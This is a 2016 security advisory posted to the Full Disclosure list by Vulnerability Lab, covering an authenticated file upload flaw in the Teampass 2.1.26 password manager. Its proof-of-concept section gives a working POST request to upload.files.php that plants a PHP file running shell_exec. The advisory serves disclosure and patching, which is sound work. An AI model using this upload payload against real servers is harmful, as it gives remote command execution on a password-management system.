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[FD] Teampass 2.1.26 - Authenticated File Upload Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Teampass 2.1.26 - Authenticated File Upload Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Wed, 6 Jul 2016 11:09:42 +0200
Document Title:
===============
Teampass 2.1.26 - Authenticated File Upload Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1866
Release Date:
=============
2016-07-06
Vulnerability Laboratory ID (VL-ID):
====================================
1866
Common Vulnerability Scoring System:
====================================
7.2
Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a
collaborative way on any server Apache, MySQL and PHP.
It is especially designed to provide passwords access security for allowed
people. This makes TeamPass really useful in a
Business/Enterprise environment and will provide to IT or Team Manager a
powerful and easy tool for customizing passwords
access depending on the user’s role.
(Copy of the Homepage: http://teampass.net/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a file upload
vulnerability in the official Teampass v2.1.26 web-application.
Vulnerability Disclosure Timeline:
==================================
2016-07-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A file upload vulnerability has been discovered in the official Teampass
v2.1.26 web-application.
The vulnerability allows authenticated users with low privileged accounts to
upload files to the /files directory in the webroot.
There are no filters present which checks the file extensions or contents for
the files.
Proof of Concept (PoC):
=======================
Any authenticated user can upload files to the /files directory in the webroot,
even low privileged users with only read-only rights can exploit this
vulnerability.
Files can be uploaded by visiting
http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php
and content can be inserted with a POST request.
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST
http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php
Request Header:
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:
157b783184cb1aa6ce3495511a879057e70d3f561f2c8d47d6=e7ea2ef5da03812806df888810bd2c671a8b8ec4b6e8e3e673;
KEY_PHPSESSID=P4khaxdq8UTAwyOcJX5qnUYdytv6y%2BVGpcvHwunzTVQ%3D%3A3VQCIK2PC1Sa703MrzE6M%2BUFe4IpAM6AtGPUkqtMsag%3D;
PHPSESSID=9q68v86v6k62l224m0419024k6; jstree_select=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
If-Modified-Since: *
POST DATA:
<?php echo shell_exec('uname -a');?>
The file will be placed in the /files directory which is
http://localhost/TeamPass/files/poc.php in the PoC above.
Solution - Fix & Patch:
=======================
Update to the latest Teampass version (2.1.26/4).
Security Risk:
==============
Thanks to this vulnerability it is possible to upload a shell and execute
commands with the priveleges of the webserver process. (CVSS 7.2)
Credits & Authors:
==================
Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]
Disclaimer & Information:
=========================
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